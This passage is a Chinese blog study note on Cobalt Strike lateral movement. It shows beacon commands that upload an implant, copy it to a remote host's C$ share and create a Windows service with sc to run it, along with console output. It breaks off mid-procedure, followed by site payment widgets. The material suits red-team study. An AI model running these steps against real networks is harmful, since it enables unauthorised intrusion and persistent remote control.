【CS学习笔记】19、代码执行的方式

本文详细介绍了使用Cobalt Strike进行代码执行的两种方法,包括创建Windows服务和计划任务,以及beacon的自动操作,强调了在内网渗透中的横向移动策略。同时提到了Powershell和WinRM、WMI等执行方式,以及如何通过psexec进行域环境的横向移动。
摘要由CSDN通过智能技术生成

0x00 前言

实现代码执行的四个步骤:

1、与目标建立信任关系

2、复制可执行文件到目标上

3、在目标上运行可执行文件

4、实现对目标的控制

以上是根据视频教程中直译的结果,个人感觉其实这一节叫横向移动的方法更为合适。

0x01 创建可执行文件

创建可执行文件可以在 Cobalt Strike 的 Attack -> Packages -> Windows Executable(s) 处进行创建。

如果用于内网中的横向移动,那么强烈建议使用 SMB Beacon,SMB Beacon 就是为了内网横向扩展渗透而设计的。

0x02 上传可执行文件

首先使用 Cobalt Strike 上的 upload 功能上传文件,接着复制文件到目标主机的其他位置。

shell copy file.exe \\host\C$\Windows\Temp
beacon> upload /root/beacon.exe
[*] Tasked beacon to upload /root/Desktop/beacon.exe as beacon.exe
[+] host called home, sent: 289302 bytes

beacon> shell copy beacon.exe \\WinTest\C$\Windows\Temp
[*] Tasked beacon to run: copy beacon.exe \\WinTest\C$\Windows\Temp
[+] host called home, sent: 72 bytes
[+] received output:
已复制         1 个文件。

0x03 执行文件(方法一)

1、生成 Windows Service EXE 并上传

2、在目标主机上创建一个服务

shell sc \\host create name binpath= c:\windows\temp\file.exe
beacon> shell sc \\wintest create beacon binpath= c:\windows\temp\beacon.exe
[*] Tasked beacon to run: sc \\wintest create beacon binpath= c:\windows\temp\beacon.exe
[+] host called home
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值